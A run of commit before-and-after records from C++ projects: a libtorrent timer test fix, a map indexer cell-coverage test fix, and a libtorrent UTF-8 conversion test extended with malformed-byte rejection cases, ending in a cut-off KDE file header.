CH_PARTIAL_TEST(partial_array_of_partials_implicit)\nMSTCH_PARTIAL_TEST(partial_empty)\nMSTCH_PARTIAL_TEST(partial_template)\nMSTCH_PARTIAL_TEST(partial_view)\nMSTCH_PARTIAL_TEST(partial_whitespace)\nMSTCH_TEST(recursion_with_same_names)\nMSTCH_TEST(reuse_of_enumerables)\nMSTCH_TEST(section_as_context)\nMSTCH_PARTIAL_TEST(section_functions_in_partials)\nMSTCH_TEST(simple)\nMSTCH_TEST(string_as_context)\nMSTCH_TEST(two_in_a_row)\nMSTCH_TEST(two_sections)\nMSTCH_TEST(unescaped)\nMSTCH_TEST(whitespace)\nMSTCH_TEST(zero_view)\n\nSPECS_TEST(comments)\nSPECS_TEST(delimiters)\nSPECS_TEST(interpolation)\nSPECS_TEST(inverted)\nSPECS_TEST(partials)\nSPECS_TEST(sections)\nSPECS_TEST(lambdas)\n<|endoftext|>"} {"text":"<commit_before>\/*\n\nCopyright (c) 2013, Arvid Norberg\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n * Redistributions of source code must retain the above copyright\n notice, this list of conditions and the following disclaimer.\n * Redistributions in binary form must reproduce the above copyright\n notice, this list of conditions and the following disclaimer in\n the documentation and\/or other materials provided with the distribution.\n * Neither the name of the author nor the names of its\n contributors may be used to endorse or promote products derived\n from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#include \"test.hpp\"\n#include \"libtorrent\/time.hpp\"\n#include \"libtorrent\/thread.hpp\"\n\n#include <boost\/bind.hpp>\n\nusing namespace libtorrent;\n\nvoid check_timer_loop(mutex& m, time_point& last, condition_variable& cv)\n{\n\tmutex::scoped_lock l(m);\n\tcv.wait(l);\n\tl.unlock();\n\n\tfor (int i = 0; i < 10000; ++i)\n\t{\n\t\tmutex::scoped_lock l(m);\n\t\ttime_point now = clock_type::now();\n\t\tTEST_CHECK(now >= last);\n\t\tlast = now;\n\t}\n}\n\nint test_main()\n{\n\n\t\/\/ make sure the time classes have correct semantics\n\n\tTEST_EQUAL(total_milliseconds(milliseconds(100)), 100);\n\tTEST_EQUAL(total_milliseconds(milliseconds(1)), 1);\n\tTEST_EQUAL(total_milliseconds(seconds(1)), 1000);\n\tTEST_EQUAL(total_seconds(minutes(1)), 60);\n\tTEST_EQUAL(total_seconds(hours(1)), 3600);\n\n\t\/\/ make sure it doesn't wrap at 32 bit arithmetic\n\tTEST_EQUAL(total_seconds(seconds(281474976)), 281474976);\n\tTEST_EQUAL(total_milliseconds(milliseconds(281474976)), 281474976);\n\n\t\/\/ make sure the timer is monotonic\n\n\ttime_point now = clock_type::now();\n\ttime_point last = now;\n\tfor (int i = 0; i < 1000; ++i)\n\t{\n\t\tnow = clock_type::now();\n\t\tTEST_CHECK(now >= last);\n\t\tlast = now;\n\t}\n\t\n\tmutex m;\n\tcondition_variable cv;\n\tthread t1(boost::bind(&check_timer_loop, boost::ref(m), boost::ref(last), boost::ref(cv)));\n\tthread t2(boost::bind(&check_timer_loop, boost::ref(m), boost::ref(last), boost::ref(cv)));\n\tthread t3(boost::bind(&check_timer_loop, boost::ref(m), boost::ref(last), boost::ref(cv)));\n\tthread t4(boost::bind(&check_timer_loop, boost::ref(m), boost::ref(last), boost::ref(cv)));\n\n\tsleep(100);\n\n\tcv.notify_all();\n\n\tt1.join();\n\tt2.join();\n\tt3.join();\n\tt4.join();\n\n\treturn 0;\n}\n\n<commit_msg>fix test_time build<commit_after>\/*\n\nCopyright (c) 2013, Arvid Norberg\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n * Redistributions of source code must retain the above copyright\n notice, this list of conditions and the following disclaimer.\n * Redistributions in binary form must reproduce the above copyright\n notice, this list of conditions and the following disclaimer in\n the documentation and\/or other materials provided with the distribution.\n * Neither the name of the author nor the names of its\n contributors may be used to endorse or promote products derived\n from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#include \"test.hpp\"\n#include \"libtorrent\/time.hpp\"\n#include \"libtorrent\/thread.hpp\"\n\n#include <boost\/bind.hpp>\n\nusing namespace libtorrent;\n\nvoid check_timer_loop(mutex& m, time_point& last, condition_variable& cv)\n{\n\tmutex::scoped_lock l(m);\n\tcv.wait(l);\n\tl.unlock();\n\n\tfor (int i = 0; i < 10000; ++i)\n\t{\n\t\tmutex::scoped_lock l(m);\n\t\ttime_point now = clock_type::now();\n\t\tTEST_CHECK(now >= last);\n\t\tlast = now;\n\t}\n}\n\nint test_main()\n{\n\n\t\/\/ make sure the time classes have correct semantics\n\n\tTEST_EQUAL(total_milliseconds(milliseconds(100)), 100);\n\tTEST_EQUAL(total_milliseconds(milliseconds(1)), 1);\n\tTEST_EQUAL(total_milliseconds(seconds(1)), 1000);\n\tTEST_EQUAL(total_seconds(minutes(1)), 60);\n\tTEST_EQUAL(total_seconds(hours(1)), 3600);\n\n\t\/\/ make sure it doesn't wrap at 32 bit arithmetic\n\tTEST_EQUAL(total_seconds(seconds(281474976)), 281474976);\n\tTEST_EQUAL(total_milliseconds(milliseconds(281474976)), 281474976);\n\n\t\/\/ make sure the timer is monotonic\n\n\ttime_point now = clock_type::now();\n\ttime_point last = now;\n\tfor (int i = 0; i < 1000; ++i)\n\t{\n\t\tnow = clock_type::now();\n\t\tTEST_CHECK(now >= last);\n\t\tlast = now;\n\t}\n\t\n\tmutex m;\n\tcondition_variable cv;\n\tthread t1(boost::bind(&check_timer_loop, boost::ref(m), boost::ref(last), boost::ref(cv)));\n\tthread t2(boost::bind(&check_timer_loop, boost::ref(m), boost::ref(last), boost::ref(cv)));\n\tthread t3(boost::bind(&check_timer_loop, boost::ref(m), boost::ref(last), boost::ref(cv)));\n\tthread t4(boost::bind(&check_timer_loop, boost::ref(m), boost::ref(last), boost::ref(cv)));\n\n\ttest_sleep(100);\n\n\tcv.notify_all();\n\n\tt1.join();\n\tt2.join();\n\tt3.join();\n\tt4.join();\n\n\treturn 0;\n}\n\n<|endoftext|>"} {"text":"<commit_before>#include \"testing\/testing.hpp\"\n\n#include \"indexer\/cell_coverer.hpp\"\n#include \"indexer\/indexer_tests\/bounds.hpp\"\n\n#include \"geometry\/covering_utils.hpp\"\n\n#include \"coding\/hex.hpp\"\n\n#include \"base\/logging.hpp\"\n\n\/\/ Unit test uses m2::CellId<30> for historical reasons, the actual production code uses RectId.\ntypedef m2::CellId<30> CellIdT;\n\nUNIT_TEST(CellIdToStringRecode)\n{\n char const kTest[] = \"21032012203\";\n TEST_EQUAL(CellIdT::FromString(kTest).ToString(), kTest, ());\n}\n\nUNIT_TEST(GoldenCoverRect)\n{\n vector<CellIdT> cells;\n CoverRect<OrthoBounds>({27.43, 53.83, 27.70, 53.96}, 4, RectId::DEPTH_LEVELS - 1, cells);\n\n TEST_EQUAL(cells.size(), 4, ());\n\n TEST_EQUAL(cells[0].ToString(), \"32012211300\", ());\n TEST_EQUAL(cells[1].ToString(), \"32012211301\", ());\n TEST_EQUAL(cells[2].ToString(), \"32012211302\", ());\n TEST_EQUAL(cells[3].ToString(), \"32012211303\", ());\n}\n\nUNIT_TEST(ArtificialCoverRect)\n{\n typedef Bounds<0, 0, 16, 16> TestBounds;\n\n vector<CellIdT> cells;\n CoverRect<TestBounds>({5, 5, 11, 11}, 4, RectId::DEPTH_LEVELS - 1, cells);\n\n TEST_EQUAL(cells.size(), 4, ());\n\n TEST_EQUAL(cells[0].ToString(), \"03\", ());\n TEST_EQUAL(cells[1].ToString(), \"12\", ());\n TEST_EQUAL(cells[2].ToString(), \"21\", ());\n TEST_EQUAL(cells[3].ToString(), \"30\", ());\n}\n\nUNIT_TEST(MaxDepthCoverSpiral)\n{\n using TestBounds = Bounds<0, 0, 8, 8>;\n\n for (auto levelMax = 0; levelMax <= 2; ++levelMax)\n {\n auto cells = vector<m2::CellId<3>>{};\n\n CoverSpiral<TestBounds, m2::CellId<3>>({2.1, 4.1, 2.1, 4.1}, levelMax, cells);\n\n TEST_EQUAL(cells.size(), 1, ());\n TEST_EQUAL(cells[0].Level(), levelMax - 1, ());\n }\n}\n<commit_msg>[indexer] Fix test MaxDepthCoverSpiral<commit_after>#include \"testing\/testing.hpp\"\n\n#include \"indexer\/cell_coverer.hpp\"\n#include \"indexer\/indexer_tests\/bounds.hpp\"\n\n#include \"geometry\/covering_utils.hpp\"\n\n#include \"coding\/hex.hpp\"\n\n#include \"base\/logging.hpp\"\n\n\/\/ Unit test uses m2::CellId<30> for historical reasons, the actual production code uses RectId.\ntypedef m2::CellId<30> CellIdT;\n\nUNIT_TEST(CellIdToStringRecode)\n{\n char const kTest[] = \"21032012203\";\n TEST_EQUAL(CellIdT::FromString(kTest).ToString(), kTest, ());\n}\n\nUNIT_TEST(GoldenCoverRect)\n{\n vector<CellIdT> cells;\n CoverRect<OrthoBounds>({27.43, 53.83, 27.70, 53.96}, 4, RectId::DEPTH_LEVELS - 1, cells);\n\n TEST_EQUAL(cells.size(), 4, ());\n\n TEST_EQUAL(cells[0].ToString(), \"32012211300\", ());\n TEST_EQUAL(cells[1].ToString(), \"32012211301\", ());\n TEST_EQUAL(cells[2].ToString(), \"32012211302\", ());\n TEST_EQUAL(cells[3].ToString(), \"32012211303\", ());\n}\n\nUNIT_TEST(ArtificialCoverRect)\n{\n typedef Bounds<0, 0, 16, 16> TestBounds;\n\n vector<CellIdT> cells;\n CoverRect<TestBounds>({5, 5, 11, 11}, 4, RectId::DEPTH_LEVELS - 1, cells);\n\n TEST_EQUAL(cells.size(), 4, ());\n\n TEST_EQUAL(cells[0].ToString(), \"03\", ());\n TEST_EQUAL(cells[1].ToString(), \"12\", ());\n TEST_EQUAL(cells[2].ToString(), \"21\", ());\n TEST_EQUAL(cells[3].ToString(), \"30\", ());\n}\n\nUNIT_TEST(MaxDepthCoverSpiral)\n{\n using TestBounds = Bounds<0, 0, 8, 8>;\n\n for (auto levelMax = 0; levelMax <= 2; ++levelMax)\n {\n auto cells = vector<m2::CellId<3>>{};\n\n CoverSpiral<TestBounds, m2::CellId<3>>({2.1, 4.1, 2.1, 4.1}, levelMax, cells);\n\n TEST_EQUAL(cells.size(), 1, ());\n TEST_EQUAL(cells[0].Level(), levelMax, ());\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n\nCopyright (c) 2014, Arvid Norberg\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n * Redistributions of source code must retain the above copyright\n notice, this list of conditions and the following disclaimer.\n * Redistributions in binary form must reproduce the above copyright\n notice, this list of conditions and the following disclaimer in\n the documentation and\/or other materials provided with the distribution.\n * Neither the name of the author nor the names of its\n contributors may be used to endorse or promote products derived\n from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#include \"test.hpp\"\n#include \"libtorrent\/utf8.hpp\"\n#include \"libtorrent\/ConvertUTF.h\"\n#include \"setup_transfer.hpp\" \/\/ for load_file\n#include \"libtorrent\/file.hpp\" \/\/ for combine_path\n\n#include <vector>\n\nusing namespace libtorrent;\n\nint test_main()\n{\n\tstd::vector<char> utf8_source;\n\terror_code ec;\n\tload_file(combine_path(\"..\", \"utf8_test.txt\"), utf8_source, ec, 1000000);\n\tif (ec) fprintf(stderr, \"failed to open file: (%d) %s\\n\", ec.value()\n\t\t, ec.message().c_str());\n\tTEST_CHECK(!ec);\n\n\t\/\/ test lower level conversions\n\n\t\/\/ utf8 -> utf16 -> utf32 -> utf8\n\t{\n\t\tstd::vector<UTF16> utf16(utf8_source.size());\n\t\tUTF8 const* in8 = (UTF8 const*)&utf8_source[0];\n\t\tUTF16* out16 = &utf16[0];\n\t\tConversionResult ret = ConvertUTF8toUTF16(&in8, in8 + utf8_source.size()\n\t\t\t, &out16, out16 + utf16.size(), strictConversion);\n\n\t\tTEST_EQUAL(ret, conversionOK);\n\n\t\tstd::vector<UTF32> utf32(utf8_source.size());\n\t\tUTF16 const* in16 = &utf16[0];\n\t\tUTF32* out32 = &utf32[0];\n\t\tret = ConvertUTF16toUTF32(&in16, out16\n\t\t\t, &out32, out32 + utf32.size(), strictConversion);\n\n\t\tTEST_EQUAL(ret, conversionOK);\n\n\t\tstd::vector<UTF8> utf8(utf8_source.size());\n\t\tUTF32 const* in32 = &utf32[0];\n\t\tUTF8* out8 = &utf8[0];\n\t\tret = ConvertUTF32toUTF8(&in32, out32\n\t\t\t, &out8, out8 + utf8.size(), strictConversion);\n\n\t\tTEST_EQUAL(ret, conversionOK);\n\t\tTEST_EQUAL(out8 - &utf8[0], utf8_source.size());\n\t\tTEST_CHECK(std::equal(&utf8[0], out8, (UTF8 const*)&utf8_source[0]));\n\t}\n\n\t\/\/ utf8 -> utf32 -> utf16 -> utf8\n\t{\n\t\tstd::vector<UTF32> utf32(utf8_source.size());\n\t\tUTF8 const* in8 = (UTF8 const*)&utf8_source[0];\n\t\tUTF32* out32 = &utf32[0];\n\t\tConversionResult ret = ConvertUTF8toUTF32(&in8, in8 + utf8_source.size()\n\t\t\t, &out32, out32 + utf32.size(), strictConversion);\n\n\t\tTEST_EQUAL(ret, conversionOK);\n\n\t\tstd::vector<UTF16> utf16(utf8_source.size());\n\t\tUTF32 const* in32 = &utf32[0];\n\t\tUTF16* out16 = &utf16[0];\n\t\tret = ConvertUTF32toUTF16(&in32, out32\n\t\t\t, &out16, out16 + utf16.size(), strictConversion);\n\n\t\tTEST_EQUAL(ret, conversionOK);\n\n\t\tstd::vector<UTF8> utf8(utf8_source.size());\n\t\tUTF16 const* in16 = &utf16[0];\n\t\tUTF8* out8 = &utf8[0];\n\t\tret = ConvertUTF16toUTF8(&in16, out16\n\t\t\t, &out8, out8 + utf8.size(), strictConversion);\n\n\t\tTEST_EQUAL(ret, conversionOK);\n\t\tTEST_EQUAL(out8 - &utf8[0], utf8_source.size());\n\t\tTEST_CHECK(std::equal(&utf8[0], out8, (UTF8 const*)&utf8_source[0]));\n\t}\n\n\t\/\/ test higher level conversions\n\n\tstd::string utf8;\n\tstd::copy(utf8_source.begin(), utf8_source.end(), std::back_inserter(utf8));\n\n\tstd::wstring wide;\n\tutf8_conv_result_t ret = utf8_wchar(utf8, wide);\n\tTEST_EQUAL(ret, conversion_ok);\n\n\tstd::string identity;\n\tret = wchar_utf8(wide, identity);\n\tTEST_EQUAL(ret, conversion_ok);\n\n\tTEST_EQUAL(utf8, identity);\n\treturn 0;\n}\n\n<commit_msg>extend utf8 unit test<commit_after>\/*\n\nCopyright (c) 2014, Arvid Norberg\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n * Redistributions of source code must retain the above copyright\n notice, this list of conditions and the following disclaimer.\n * Redistributions in binary form must reproduce the above copyright\n notice, this list of conditions and the following disclaimer in\n the documentation and\/or other materials provided with the distribution.\n * Neither the name of the author nor the names of its\n contributors may be used to endorse or promote products derived\n from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#include \"test.hpp\"\n#include \"libtorrent\/utf8.hpp\"\n#include \"libtorrent\/ConvertUTF.h\"\n#include \"setup_transfer.hpp\" \/\/ for load_file\n#include \"libtorrent\/file.hpp\" \/\/ for combine_path\n\n#include <vector>\n\nusing namespace libtorrent;\n\nvoid verify_transforms(char const* utf8_source, int utf8_source_len = -1)\n{\n\tif (utf8_source_len == -1)\n\t\tutf8_source_len = strlen(utf8_source);\n\n\t\/\/ utf8 -> utf16 -> utf32 -> utf8\n\t{\n\t\tstd::vector<UTF16> utf16(utf8_source_len);\n\t\tUTF8 const* in8 = (UTF8 const*)utf8_source;\n\t\tUTF16* out16 = &utf16[0];\n\t\tConversionResult ret = ConvertUTF8toUTF16(&in8, in8 + utf8_source_len\n\t\t\t, &out16, out16 + utf16.size(), strictConversion);\n\n\t\tTEST_EQUAL(ret, conversionOK);\n\t\tif (ret != conversionOK && utf8_source_len < 10)\n\t\t{\n\t\t\tfor (char const* i = utf8_source; *i != 0; ++i)\n\t\t\t\tfprintf(stderr, \"%x \", UTF8(*i));\n\t\t}\n\n\t\tstd::vector<UTF32> utf32(utf8_source_len);\n\t\tUTF16 const* in16 = &utf16[0];\n\t\tUTF32* out32 = &utf32[0];\n\t\tret = ConvertUTF16toUTF32(&in16, out16\n\t\t\t, &out32, out32 + utf32.size(), strictConversion);\n\n\t\tTEST_EQUAL(ret, conversionOK);\n\t\tif (ret != conversionOK && utf8_source_len < 10)\n\t\t{\n\t\t\tfor (char const* i = utf8_source; *i != 0; ++i)\n\t\t\t\tfprintf(stderr, \"%x \", UTF8(*i));\n\t\t}\n\n\t\tstd::vector<UTF8> utf8(utf8_source_len);\n\t\tUTF32 const* in32 = &utf32[0];\n\t\tUTF8* out8 = &utf8[0];\n\t\tret = ConvertUTF32toUTF8(&in32, out32\n\t\t\t, &out8, out8 + utf8.size(), strictConversion);\n\n\t\tTEST_EQUAL(ret, conversionOK);\n\t\tif (ret != conversionOK && utf8_source_len < 10)\n\t\t{\n\t\t\tfor (char const* i = utf8_source; *i != 0; ++i)\n\t\t\t\tfprintf(stderr, \"%x \", UTF8(*i));\n\t\t}\n\n\t\tTEST_EQUAL(out8 - &utf8[0], utf8_source_len);\n\t\tTEST_CHECK(std::equal(&utf8[0], out8, (UTF8 const*)utf8_source));\n\t}\n\n\t\/\/ utf8 -> utf32 -> utf16 -> utf8\n\t{\n\t\tstd::vector<UTF32> utf32(utf8_source_len);\n\t\tUTF8 const* in8 = (UTF8 const*)utf8_source;\n\t\tUTF32* out32 = &utf32[0];\n\t\tConversionResult ret = ConvertUTF8toUTF32(&in8, in8 + utf8_source_len\n\t\t\t, &out32, out32 + utf32.size(), strictConversion);\n\n\t\tTEST_EQUAL(ret, conversionOK);\n\t\tif (ret != conversionOK && utf8_source_len < 10)\n\t\t{\n\t\t\tfor (char const* i = utf8_source; *i != 0; ++i)\n\t\t\t\tfprintf(stderr, \"%x \", UTF8(*i));\n\t\t}\n\n\t\tstd::vector<UTF16> utf16(utf8_source_len);\n\t\tUTF32 const* in32 = &utf32[0];\n\t\tUTF16* out16 = &utf16[0];\n\t\tret = ConvertUTF32toUTF16(&in32, out32\n\t\t\t, &out16, out16 + utf16.size(), strictConversion);\n\n\t\tTEST_EQUAL(ret, conversionOK);\n\t\tif (ret != conversionOK && utf8_source_len < 10)\n\t\t{\n\t\t\tfor (char const* i = utf8_source; *i != 0; ++i)\n\t\t\t\tfprintf(stderr, \"%x \", UTF8(*i));\n\t\t}\n\n\t\tstd::vector<UTF8> utf8(utf8_source_len);\n\t\tUTF16 const* in16 = &utf16[0];\n\t\tUTF8* out8 = &utf8[0];\n\t\tret = ConvertUTF16toUTF8(&in16, out16\n\t\t\t, &out8, out8 + utf8.size(), strictConversion);\n\n\t\tTEST_EQUAL(ret, conversionOK);\n\t\tif (ret != conversionOK && utf8_source_len < 10)\n\t\t{\n\t\t\tfor (char const* i = utf8_source; *i != 0; ++i)\n\t\t\t\tfprintf(stderr, \"%x \", UTF8(*i));\n\t\t}\n\n\t\tTEST_EQUAL(out8 - &utf8[0], utf8_source_len);\n\t\tTEST_CHECK(std::equal(&utf8[0], out8, (UTF8 const*)utf8_source));\n\t}\n}\n\nvoid expect_error(char const* utf8, ConversionResult expect)\n{\n\tUTF8 const* in8 = (UTF8 const*)utf8;\n\tstd::vector<UTF32> utf32(strlen(utf8));\n\tUTF32* out32 = &utf32[0];\n\tConversionResult ret = ConvertUTF8toUTF32(&in8, in8 + strlen(utf8)\n\t\t, &out32, out32 + utf32.size(), strictConversion);\n\n\tTEST_EQUAL(ret, expect);\n\tif (ret != expect)\n\t{\n\t\tfprintf(stderr, \"%d expected %d\\n\", ret, expect);\n\t\tfor (char const* i = utf8; *i != 0; ++i)\n\t\t\tfprintf(stderr, \"%x \", UTF8(*i));\n\t}\n\n\tin8 = (UTF8 const*)utf8;\n\tstd::vector<UTF16> utf16(strlen(utf8));\n\tUTF16* out16 = &utf16[0];\n\tret = ConvertUTF8toUTF16(&in8, in8 + strlen(utf8)\n\t\t, &out16, out16 + utf16.size(), strictConversion);\n\n\tTEST_EQUAL(ret, expect);\n\tif (ret != expect)\n\t{\n\t\tfprintf(stderr, \"%d expected %d\\n\", ret, expect);\n\t\tfor (char const* i = utf8; *i != 0; ++i)\n\t\t\tfprintf(stderr, \"%x \", UTF8(*i));\n\t}\n}\n\nint test_main()\n{\n\tstd::vector<char> utf8_source;\n\terror_code ec;\n\tload_file(combine_path(\"..\", \"utf8_test.txt\"), utf8_source, ec, 1000000);\n\tif (ec) fprintf(stderr, \"failed to open file: (%d) %s\\n\", ec.value()\n\t\t, ec.message().c_str());\n\tTEST_CHECK(!ec);\n\n\t\/\/ test lower level conversions\n\n\tverify_transforms(&utf8_source[0], utf8_source.size());\n\n\tverify_transforms(\"\\xc3\\xb0\");\n\tverify_transforms(\"\\xed\\x9f\\xbf\");\n\tverify_transforms(\"\\xee\\x80\\x80\");\n\tverify_transforms(\"\\xef\\xbf\\xbd\");\n\tverify_transforms(\"\\xf4\\x8f\\xbf\\xbf\");\n\tverify_transforms(\"\\xf0\\x91\\x80\\x80\\x30\");\n\n\t\/\/ Unexpected continuation bytes\n\texpect_error(\"\\x80\", sourceIllegal);\n\texpect_error(\"\\xbf\", sourceIllegal);\n\n\t\/\/ Impossible bytes\n\t\/\/ The following two bytes cannot appear in a correct UTF-8 string\n\texpect_error(\"\\xff\", sourceExhausted);\n\texpect_error(\"\\xfe\", sourceExhausted);\n\texpect_error(\"\\xff\\xff\\xfe\\xfe\", sourceExhausted);\n\n\t\/\/ Examples of an overlong ASCII character\n\texpect_error(\"\\xc0\\xaf\", sourceIllegal);\n\texpect_error(\"\\xe0\\x80\\xaf\", sourceIllegal);\n\texpect_error(\"\\xf0\\x80\\x80\\xaf\", sourceIllegal);\n\texpect_error(\"\\xf8\\x80\\x80\\x80\\xaf \", sourceIllegal);\n\texpect_error(\"\\xfc\\x80\\x80\\x80\\x80\\xaf\", sourceIllegal);\n\n\t\/\/ Maximum overlong sequences\n\texpect_error(\"\\xc1\\xbf\", sourceIllegal);\n\texpect_error(\"\\xe0\\x9f\\xbf\", sourceIllegal);\n\texpect_error(\"\\xf0\\x8f\\xbf\\xbf\", sourceIllegal);\n\texpect_error(\"\\xf8\\x87\\xbf\\xbf\\xbf\", sourceIllegal);\n\texpect_error(\"\\xfc\\x83\\xbf\\xbf\\xbf\\xbf\", sourceIllegal);\n\n\t\/\/ Overlong representation of the NUL character\n\texpect_error(\"\\xc0\\x80\", sourceIllegal);\n\texpect_error(\"\\xe0\\x80\\x80\", sourceIllegal);\n\texpect_error(\"\\xf0\\x80\\x80\\x80\", sourceIllegal);\n\texpect_error(\"\\xf8\\x80\\x80\\x80\\x80\", sourceIllegal);\n\texpect_error(\"\\xfc\\x80\\x80\\x80\\x80\\x80\", sourceIllegal);\n\n\t\/\/ Single UTF-16 surrogates\n\texpect_error(\"\\xed\\xa0\\x80\", sourceIllegal);\n\texpect_error(\"\\xed\\xad\\xbf\", sourceIllegal);\n\texpect_error(\"\\xed\\xae\\x80\", sourceIllegal);\n\texpect_error(\"\\xed\\xaf\\xbf\", sourceIllegal);\n\texpect_error(\"\\xed\\xb0\\x80\", sourceIllegal);\n\texpect_error(\"\\xed\\xbe\\x80\", sourceIllegal);\n\texpect_error(\"\\xed\\xbf\\xbf\", sourceIllegal);\n\n\t\/\/ Paired UTF-16 surrogates\n\texpect_error(\"\\xed\\xa0\\x80\\xed\\xb0\\x80\", sourceIllegal);\n\texpect_error(\"\\xed\\xa0\\x80\\xed\\xbf\\xbf\", sourceIllegal);\n\texpect_error(\"\\xed\\xad\\xbf\\xed\\xb0\\x80\", sourceIllegal);\n\texpect_error(\"\\xed\\xad\\xbf\\xed\\xbf\\xbf\", sourceIllegal);\n\texpect_error(\"\\xed\\xae\\x80\\xed\\xb0\\x80\", sourceIllegal);\n\texpect_error(\"\\xed\\xae\\x80\\xed\\xbf\\xbf\", sourceIllegal);\n\texpect_error(\"\\xed\\xaf\\xbf\\xed\\xb0\\x80\", sourceIllegal);\n\texpect_error(\"\\xed\\xaf\\xbf\\xed\\xbf\\xbf\", sourceIllegal);\n\n\t\/\/ test higher level conversions\n\n\tstd::string utf8;\n\tstd::copy(utf8_source.begin(), utf8_source.end(), std::back_inserter(utf8));\n\n\tstd::wstring wide;\n\tutf8_conv_result_t ret = utf8_wchar(utf8, wide);\n\tTEST_EQUAL(ret, conversion_ok);\n\n\tstd::string identity;\n\tret = wchar_utf8(wide, identity);\n\tTEST_EQUAL(ret, conversion_ok);\n\n\tTEST_EQUAL(utf8, identity);\n\treturn 0;\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/*******************************************************************************\n**\n** Filename : util\n** Created on : 03 April, 2005\n** Copyright : (c) 2005 Till Adam\n** Email : <adam@kde.org>\n**\n*******************************************************************************\/\n\n\/*******************************************************************************\n**\n** This program is free software; you can redistribute it and\/or modify\n** it under the terms of the GNU General Public License as published by\n** the Free Software Foundation; either version 2 of the License, or\n** (at your option) any later version.\n**\n** It is distributed in the hope that it will be useful, but\n** WITHOUT ANY WARRANTY; without even the implied warranty of\n** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n** General Public License for more details.\n**\n** You should have received a copy of the GNU General Public License\n** along with this program; if not, write to the Free Software\n** Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n**\n** In addition, as a special exception, the copyright holders give\n** 